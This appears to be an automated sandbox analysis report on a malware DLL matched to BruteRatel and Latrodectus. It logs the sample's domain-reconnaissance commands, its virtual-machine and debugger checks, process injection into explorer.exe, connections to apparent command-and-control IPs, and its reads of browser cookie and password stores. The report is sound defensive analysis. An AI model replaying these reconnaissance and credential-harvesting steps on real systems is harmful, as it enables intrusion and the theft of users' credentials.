Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net view /all /domain
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net group "Domain Admins" /domain
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net view /all /domain
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net group "Domain Admins" /domain

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D72E90 swprintf,swprintf,FindFirstFileW,GetLastError,swprintf,FindNextFileW,CompareFileTime,FindNextFileW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,swprintf,swprintf,FindClose,	3_2_00007FF8A8D72E90
Source: C:\Windows\explorer.exe	Code function: 8_2_0303A8E0 FindFirstFileW,FindNextFileW,LoadLibraryW,	8_2_0303A8E0
Source: C:\Windows\explorer.exe	Code function: 8_2_03032B28 FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	8_2_03032B28
Source: C:\Windows\explorer.exe	Code function: 8_2_030404C0 FindFirstFileW,	8_2_030404C0
Source: C:\Windows\explorer.exe	Code function: 8_2_0838A8E0 FindFirstFileW,FindNextFileW,LoadLibraryW,	8_2_0838A8E0
Source: C:\Windows\explorer.exe	Code function: 8_2_083904C0 FindFirstFileW,	8_2_083904C0
Source: C:\Windows\explorer.exe	Code function: 8_2_08382B28 FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	8_2_08382B28
Source: C:\Windows\explorer.exe	Code function: 8_2_0885A8E0 FindFirstFileW,FindNextFileW,LoadLibraryW,	8_2_0885A8E0
Source: C:\Windows\explorer.exe	Code function: 8_2_088604C0 FindFirstFileW,	8_2_088604C0
Source: C:\Windows\explorer.exe	Code function: 8_2_08852B28 FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	8_2_08852B28
Source: C:\Windows\explorer.exe	Code function: 8_2_0E456604 lstrcpyA,lstrlenA,lstrcatA,lstrcatA,FindFirstFileA,lstrcpyA,lstrcatA,lstrcatA,lstrcatA,StrStrIA,lstrcpyA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	8_2_0E456604
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4516F4 FindFirstFileW,FindNextFileW,LoadLibraryW,	8_2_0E4516F4
Source: C:\Windows\explorer.exe	Code function: 8_2_0E515C40 FindFirstFileW,FindClose,	8_2_0E515C40
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4F50D8 FindFirstFileA,	8_2_0E4F50D8
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4F5088 CloseHandle,GetCurrentProcessId,FindFirstFileA,FindClose,GetFileSize,	8_2_0E4F5088

Source: C:\Windows\System32\rundll32.exe

Code function: 3_2_00007FF8A8CF9A80 GetSystemInfo,

3_2_00007FF8A8CF9A80

Source: C:\Windows\System32\loaddll64.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: explorer.exe, 00000008.00000000.2321862445.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}99105f770555d7dd
Source: explorer.exe, 00000008.00000003.3094423766.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4549635767.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2323476795.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0r
Source: explorer.exe, 00000008.00000003.3856101577.0000000009C93000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000008.00000003.3094423766.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000%
Source: explorer.exe, 00000008.00000003.3857371736.000000000354D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: explorer.exe, 00000008.00000000.2320112731.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000A
Source: rundll32.exe, 00000003.00000002.4535814161.000001CEAE44B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE44B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE44B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617D0E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536296761.0000027617D0E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536296761.0000027617CE8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4535937784.000002339E11E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2511990228.000002339E1B9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4535937784.000002339E1B9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094423766.0000000009B2C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000006.00000003.2511990228.000002339E1B9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4535937784.000002339E1B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWf
Source: rundll32.exe, 00000004.00000002.4536038404.0000027617C68000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000003.00000002.4535814161.000001CEAE3A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: explorer.exe, 00000008.00000003.3220487882.0000000008920000.00000040.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: explorer.exe, 00000008.00000003.3094423766.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b},
Source: explorer.exe, 00000008.00000003.3094423766.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000008.00000003.3094423766.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTcaVMWare
Source: explorer.exe, 00000008.00000003.3856101577.0000000009C93000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000008.00000003.3102516031.000000000C8DC000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \Device\HarddiskVolume1\??\Volume{ad6cc5d8-f1a9-4873-be33-91b2f05e9306}\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:o_
Source: explorer.exe, 00000008.00000003.3857371736.000000000354D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware-42 27 d9 2e dc 89 72 dX
Source: explorer.exe, 00000008.00000000.2321862445.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}^
Source: explorer.exe, 00000008.00000003.3857371736.000000000354D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.NoneVMware-42 27 d9 2e dc 89 72 dX
Source: explorer.exe, 00000008.00000003.3857371736.000000000354D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware,p
Source: explorer.exe, 00000008.00000003.3094423766.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000_
Source: explorer.exe, 00000008.00000000.2320112731.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000008.00000003.3094423766.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000008.00000000.2321862445.000000000769A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\explorer.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\explorer.exe

Code function: 8_2_0E4576DC rdtsc

8_2_0E4576DC

Source: C:\Windows\System32\rundll32.exe

Code function: 3_2_000001CEAFC7CCE0 LdrGetProcedureAddress,

3_2_000001CEAFC7CCE0

Source: C:\Windows\System32\rundll32.exe

Code function: 3_2_00007FF8A8DB8990 GetLastError,IsDebuggerPresent,OutputDebugStringW,

3_2_00007FF8A8DB8990

Source: C:\Windows\System32\rundll32.exe

Code function: 3_2_00007FF8A8DB8990 GetLastError,IsDebuggerPresent,OutputDebugStringW,

3_2_00007FF8A8DB8990

Source: C:\Windows\explorer.exe

Code function: 8_2_0E454948 CreateToolhelp32Snapshot,Process32First,GetCurrentProcessId,OpenProcess,StrStrIA,StrStrIA,StrStrIA,TerminateProcess,CloseHandle,Process32Next,CloseHandle,

8_2_0E454948

Source: C:\Windows\explorer.exe

Code function: 8_2_0E4589E4 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

8_2_0E4589E4

Source: C:\Windows\System32\rundll32.exe

Code function: 3_2_00007FF8A8D68920 swprintf,OpenMutexW,swprintf,GetProcessHeap,HeapFree,

3_2_00007FF8A8D68920

Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8DCCFD8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF8A8DCCFD8
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D96264 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF8A8D96264
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4E1DA0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0E4E1DA0
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4F53A8 SetUnhandledExceptionFilter,	8_2_0E4F53A8

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 104.21.68.89 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 172.67.217.190 443	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 103.57.249.207 6542	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 94.232.43.224 6542	Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\System32\rundll32.exe	Memory allocated: C:\Windows\explorer.exe base: 3030000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory allocated: C:\Windows\explorer.exe base: 8380000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory allocated: C:\Windows\explorer.exe base: 8850000 protect: page execute and read and write	Jump to behavior

Contains functionality to inject threads in other processes

Source: C:\Windows\System32\rundll32.exe	Code function: 3_3_00007DF4A9FC0100 VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,	3_3_00007DF4A9FC0100
Source: C:\Windows\System32\rundll32.exe	Code function: 4_3_00007DF4051C0100 VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,	4_3_00007DF4051C0100
Source: C:\Windows\System32\rundll32.exe	Code function: 6_3_00007DF445320100 VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,	6_3_00007DF445320100

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\rundll32.exe	Thread created: C:\Windows\explorer.exe EIP: 3030000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread created: C:\Windows\explorer.exe EIP: 8380000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread created: C:\Windows\explorer.exe EIP: 8850000	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\explorer.exe base: 3030000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\explorer.exe base: 8380000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\explorer.exe base: 8850000 value starts with: 4D5A	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\rundll32.exe	Memory written: PID: 1028 base: 3030000 value: 4D	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: PID: 1028 base: 8380000 value: 4D	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: PID: 1028 base: 8850000 value: 4D	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 412	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 412	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 412	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 412	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 412	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 4084	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 4084	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 4084	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 4084	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 4084	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 412	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 412	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 412	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 412	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 412	Jump to behavior

Sets debug register (to hijack the execution of another thread)

Source: C:\Windows\System32\rundll32.exe

Thread register set: 412 1

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\explorer.exe base: 3030000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\explorer.exe base: 8380000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Memory written: C:\Windows\explorer.exe base: 8850000	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\wait.dll.dll",#1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nltest.exe nltest /domain_trusts	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nltest.exe nltest /domain_trusts /all_trusts	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net view /all /domain
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net view /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net group "Domain Admins" /domain
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 group "Domain Admins" /domain
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net config workstation
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 config workstation
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /V /B /C:displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\whoami.exe whoami /groups

Source: C:\Windows\System32\rundll32.exe

Code function: 3_2_00007FF8A8CF9AC0 InitializeSecurityDescriptor,SetSecurityDescriptorDacl,

3_2_00007FF8A8CF9AC0

Source: explorer.exe, 00000008.00000000.2323476795.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3103191493.0000000009BB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4549635767.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd=
Source: explorer.exe, 00000008.00000002.4537142552.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.2320547106.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000008.00000000.2321695887.0000000004B00000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4537142552.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.2320547106.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000008.00000002.4537142552.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.2320547106.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000008.00000002.4537142552.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.2320547106.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000008.00000000.2320112731.0000000000EF8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4535485561.0000000000EF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PProgman

Source: C:\Windows\System32\rundll32.exe

3_2_00007FF8A8CFDCBC

Source: C:\Windows\explorer.exe

Code function: 8_2_0E4D4F14 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

8_2_0E4D4F14

Source: C:\Windows\System32\rundll32.exe

Code function: 3_2_000001CEAFC94D00 GetUserNameW,GetComputerNameExW,GetComputerNameExW,GetTokenInformation,GetNativeSystemInfo,GetAdaptersInfo,GetAdaptersInfo,

3_2_000001CEAFC94D00

Source: C:\Windows\System32\rundll32.exe

Code function: 3_2_00007FF8A8DE4A20 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

3_2_00007FF8A8DE4A20

Source: C:\Windows\explorer.exe

Code function: 8_2_0303891C RtlGetVersion,GetVersionExW,

8_2_0303891C

Source: C:\Windows\System32\nltest.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: WMIC.exe, 00000021.00000002.3489207530.00000156669D1000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000021.00000003.3487312815.00000156669C5000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000021.00000003.3488726294.00000156669CC000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000021.00000003.3487382704.00000156669CB000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000021.00000003.3488748596.00000156669D0000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000021.00000003.3487514545.0000015666FA1000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000021.00000002.3489251608.0000015666C2B000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000021.00000003.3488702292.00000156669D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pathToSignedReportingExe=%ProgramFiles%\Windows Defender\MsMpeng.exe
Source: WMIC.exe, 00000021.00000002.3489251608.0000015666C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gnedReportingExe=%ProgramFiles%\Windows Defender\MsMpeng.exe
Source: WMIC.exe, 00000021.00000002.3488807709.0000003146307000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ndows Defender\MsMpeng.exe
Source: WMIC.exe, 00000021.00000002.3489251608.0000015666C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: indows Defender\MsMpeng.exe
Source: WMIC.exe, 00000021.00000003.3488148854.0000015666F80000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000021.00000002.3489121828.00000156669B6000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000021.00000003.3487428020.00000156669B5000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000021.00000002.3489100566.00000156669AA000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000021.00000003.3487207652.00000156669A7000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000021.00000003.3487312815.00000156669A8000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000021.00000003.3488168710.0000015666F81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected BruteRatel

Source: Yara match	File source: 00000003.00000003.2319042957.000001CEB022C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4537635408.000001CEB01FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4537513322.00000233A000C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4538291850.0000027619ADC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2421944396.0000027619B0B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2421877879.0000027619B0B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2516556491.00000233A003B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2513239547.00000233A003B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2319103261.000001CEB022C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 4084, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6564, type: MEMORYSTR

Yara detected Latrodectus

Source: Yara match	File source: 00000008.00000002.4549377026.000000000977A000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 1028, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Contains functionality to steal Internet Explorer form passwords

Source: C:\Windows\explorer.exe

Code function: Software\Microsoft\Internet Explorer\IntelliForms\Storage2

8_2_0E458848

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Suhba\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Elements Browser\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Superbird\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Orbitum\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Torch\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Elements Browser\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\7Star\7Star\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Xpom\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Nichrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Amigo\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Superbird\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\360Browser\Browser\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\CocCoc\Browser\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\QIP Surf\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\uCozMedia\Uran\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Sputnik\Sputnik\User Data\Default\Network\Cookies	Jump to behavior
